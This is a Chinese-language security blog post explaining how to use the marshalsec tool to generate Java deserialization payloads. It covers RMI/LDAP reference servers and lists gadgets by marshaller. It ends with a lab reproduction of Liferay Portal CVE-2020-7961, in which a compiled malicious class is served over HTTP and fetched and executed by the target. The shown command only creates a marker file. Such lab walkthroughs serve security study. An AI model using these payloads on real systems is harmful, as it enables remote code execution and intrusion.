标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-2961]   作者: ecawen 发表于: [2021-12-12]

本文共 [374] 位读者顶过

marshalsec命令格式如下: [出自:jiwo.org]

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]

参数说明:

  • -a:生成exploit下的所有payload(例如:hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin)
  • -t:对生成的payloads进行解码测试
  • -v:verbose mode, 展示生成的payloads
  • gadget_type:指定使用的payload
  • arguments - payload运行时使用的参数
  • marshalsec.<marshaller>:指定exploits,根目录下的java文件名

开启RMI服务

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/css/#ExportObject 1099

开启LDAP服务

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/css/#ExportObject 1389

查询可用Gadget

java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson //以Jackson为例

生成特定Payload

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.Hessian -v XBean http://127.0.0.1:8080/ExecObject

攻击载荷

目前marshalsec支持的exploit和payload有:

Marshaller Gadget Impact
BlazeDSAMF(0|3|X) JDK only escalation to Java serialization various third party libraries RCEs
Hessian|Burlap various third party RCEs
Castor dependency library RCE
Jackson possible JDK only RCE, various third party RCEs
Java yet another third party RCE
JsonIO JDK only RCE
JYAML JDK only RCE
Kryo third party RCEs
KryoAltStrategy JDK only RCE
Red5AMF(0|3) JDK only RCE
SnakeYAML JDK only RCEs
XStream JDK only RCEs
YAMLBeans third party RCE

列出所有jackson的gadgets 传参为calc

D:\jdk_1.8\bin\java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson -a exploit.exec="calc"

Alt text

如果想查找组件可以生成的gadgets有哪些

以Jackson为例

D:\jdk_1.8\bin\java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson

Alt text

如果想查找gadgets可以用于哪些组件生成

方法1、以resin为例,可以查看手册

Alt text

方法2、选择想看的gadgets->find usages

Alt text

使用实例:

Liferay Portal CE 反序列化命令执行漏洞(CVE-2020-7961)

完整复现过程:https://vulhub.org/#/environments/liferay-portal/CVE-2020-7961/

marshalsec的使用如下:

首先准备一个恶意的Java类,编译:

  1. // javac LifExp.java
  2. public class LifExp {
  3. static {
  4. try {
  5. String[] cmd = {"bash", "-c", "touch /tmp/success"};
  6. java.lang.Runtime.getRuntime().exec(cmd).waitFor();
  7. } catch ( Exception e ) {
  8. e.printStackTrace();
  9. }
  10. }
  11. }

在保存着class文件的目录下运行一个HTTP文件服务:

  1. $ ls
  2. LifExp.class LifExp.java
  3. $ python3 -m http.server
  4. Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

因为目标Java版本较高,我们使用利用链是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,借助marshalsec来生成一个适用于Jackson的POC:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://127.0.0.1/ LifExp

其中,http://127.0.0.1/是刚才启动的保存了恶意class文件的Web服务,LifExp是恶意类名。

这里需要注意 是2个参数

第一个参数 http://127.0.0.1/ 是python启动的http服务器 

第二个参数 LifExp 是先前编译的文件的名称除去后缀class的部分 也是java类名

就此一看很难想象最后怎么通过http能访问到文件 LifExp.class 测试后发现

可能此命令生成的字节码中 最后访问的url会被组合为 http://127.0.0.1/LifExp.class

从而成功访问到 LifExp.class 文件

评论

暂无
发表评论
 返回顶部 
热度(374)
 关注微信